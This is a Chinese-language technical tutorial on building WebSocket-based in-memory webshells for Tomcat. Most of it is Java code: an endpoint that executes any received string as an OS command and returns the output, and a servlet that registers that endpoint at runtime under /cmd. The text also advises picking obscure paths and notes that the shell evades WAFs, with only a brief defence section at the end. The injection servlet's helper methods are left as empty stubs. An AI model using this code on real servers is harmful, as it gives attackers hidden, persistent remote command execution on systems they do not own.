Java内存马篇——WebSocket内存马及GodZilla二开
字数 1610 2025-09-01 11:26:03
WebSocket内存马及GodZilla二开技术详解
一、WebSocket基础
WebSocket是一种基于TCP协议的全双工通信协议,与HTTP的单向请求-响应模式不同,它允许客户端和服务器同时发送和接收数据,无需等待对方请求。
握手过程
- 握手阶段仍使用HTTP协议
- 客户端发送升级请求
- 服务器返回同意升级响应
- 后续通信直接使用WebSocket协议
二、WebSocket服务端实现方式
1. 使用@ServerEndpoint注解
import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;
import java.io.IOException;
@ServerEndpoint("/ws")
public class WebSocketDemo {
@OnOpen
public void onOpen(Session session) {
System.out.println("WebSocket连接建立: " + session.getId());
}
@OnMessage
public void onMessage(String message, Session session) {
try {
// 回显接收到的消息
session.getBasicRemote().sendText("ECHO: " + message);
} catch (IOException e) {
e.printStackTrace();
}
}
@OnClose
public void onClose(Session session) {
System.out.println("WebSocket连接关闭: " + session.getId());
}
@OnError
public void onError(Session session, Throwable error) {
error.printStackTrace();
}
}
2. 继承javax.websocket.Endpoint类
import javax.websocket.*;
import javax.websocket.MessageHandler;
import java.io.IOException;
public class MyWebSocketEndpoint extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onOpen(Session session, EndpointConfig config) {
System.out.println("WebSocket opened: " + session.getId());
this.session = session;
session.addMessageHandler(this);
}
@Override
public void onMessage(String message) {
handleMessage(message);
}
private void handleMessage(String message) {
System.out.println("Received message: " + message);
try {
session.getBasicRemote().sendText("Echo: " + message);
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void onClose(Session session, CloseReason closeReason) {
System.out.println("WebSocket closed: " + session.getId());
}
@Override
public void onError(Session session, Throwable thr) {
System.err.println("WebSocket error on session " + session.getId());
thr.getMessage();
}
}
三、WebSocket生命周期方法
| 注解/方法 | 触发时机 | 功能 |
|---|---|---|
| @OnOpen / onOpen | 客户端与服务端完成握手后调用,仅执行一次 | 初始化会话资源,记录连接时间等 |
| @OnMessage / onMessage | 接收到客户端发送的消息时调用 | 处理文本、二进制或Pong消息,支持异步响应 |
| @OnError / onError | 连接或端点发生异常时调用 | 捕获未处理的异常,防止服务崩溃,记录日志或发送错误通知 |
| @OnClose / onClose | 连接关闭时调用(无论主动或被动关闭) | 释放资源、记录日志或发送最终通知 |
四、Tomcat中的WebSocket初始化流程
- Tomcat启动Web应用上下文时调用
standardContext.startInternal方法 - 触发
ServletContainerInitializers初始化 - 调用
ServletContainerInitializer接口的onStartup()方法 - Tomcat的WebSocket实现类
org.apache.tomcat.websocket.server.WsSci被加载 WsSci初始化WebSocket容器并筛选WebSocket组件
五、WebSocket连接流程
- 客户端发送HTTP请求
- Tomcat的
WsFilter过滤器判断是否是WebSocket请求 - 如果是WebSocket请求,发起升级协议(HTTP → WebSocket)
- 建立WebSocket连接
关键判断条件:
public static boolean isWebSocketUpgradeRequest(ServletRequest request, ServletResponse response) {
return request instanceof HttpServletRequest &&
response instanceof HttpServletResponse &&
headerContainsToken((HttpServletRequest)request, "Upgrade", "websocket") &&
"GET".equals(((HttpServletRequest)request).getMethod());
}
六、WebSocket内存马实现
1. WebSocket Shell实现
package cmisl;
import javax.websocket.*;
import javax.websocket.MessageHandler;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class cmdWebSocket extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onOpen(Session session, EndpointConfig endpointConfig) {
this.session = session;
session.addMessageHandler(this);
}
@Override
public void onMessage(String command) {
try {
StringBuilder output = new StringBuilder();
Process process = Runtime.getRuntime().exec(command);
try {
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
BufferedReader errReader = new BufferedReader(
new InputStreamReader(process.getErrorStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
while ((line = errReader.readLine()) != null) {
output.append(line).append("\n");
}
session.getBasicRemote().sendText(output.toString());
} catch (Exception e) {
try {
session.getBasicRemote().sendText("Error: " + e.getMessage());
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
}
}
2. 注入点实现
package cmisl;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.ConcurrentHashMap;
import javax.servlet.ServletContext;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.websocket.server.ServerEndpointConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.websocket.server.WsServerContainer;
@WebServlet(name = "cmdShellServlet", urlPatterns = {"/cmd"})
public class cmdShellServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) {
try {
List<Object> contexts = getContext();
ServletContext servletContext = null;
for (Object context : contexts) {
servletContext = (ServletContext) invokeMethod(context, "getServletContext");
// 获取WsServerContainer
WsServerContainer wsServerContainer = (WsServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer");
// 构建ServerEndpointConfig
ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(
cmdWebSocket.class, "/cmd").build();
// 添加端点
wsServerContainer.addEndpoint(sec);
response.getWriter().println("WebSocket Shell installed successfully!");
}
} catch (Exception e) {
e.printStackTrace();
}
}
// 辅助方法:获取上下文
private List<Object> getContext() throws Exception {
// 实现获取上下文的逻辑
}
// 辅助方法:反射调用
private Object invokeMethod(Object obj, String methodName) throws Exception {
// 实现反射调用的逻辑
}
}
七、关键实现细节
-
获取WsServerContainer:
- 通过ServletContext的
getAttribute("javax.websocket.server.ServerContainer")获取 - Tomcat 10+需要使用
jakarta.websocket.server.ServerContainer
- 通过ServletContext的
-
构建ServerEndpointConfig:
ServerEndpointConfig sec = ServerEndpointConfig.Builder.create( cmdWebSocket.class, "/cmd").build(); -
添加端点:
wsServerContainer.addEndpoint(sec); -
路径选择:
- 选择不常见或不易被发现的路径
- 避免与现有WebSocket端点冲突
八、防御措施
-
监控WebSocket端点注册:
- 定期检查应用中注册的WebSocket端点
- 特别关注动态注册的端点
-
WebSocket流量监控:
- 监控WebSocket通信内容
- 检测异常命令执行行为
-
安全配置:
- 限制WebSocket端点的访问权限
- 禁用不必要的WebSocket功能
-
运行时检测:
- 使用Java Agent技术检测内存中的恶意类
- 监控WebSocket容器的动态修改
九、总结
WebSocket内存马相比传统Filter/Listener内存马具有以下特点:
- 通信更隐蔽,不易被传统WAF检测
- 支持全双工通信,交互性更强
- 生命周期管理更灵活
- 在Tomcat环境中实现相对简单
防御方需要针对WebSocket协议特点开发专门的检测手段,不能仅依赖传统的HTTP流量检测。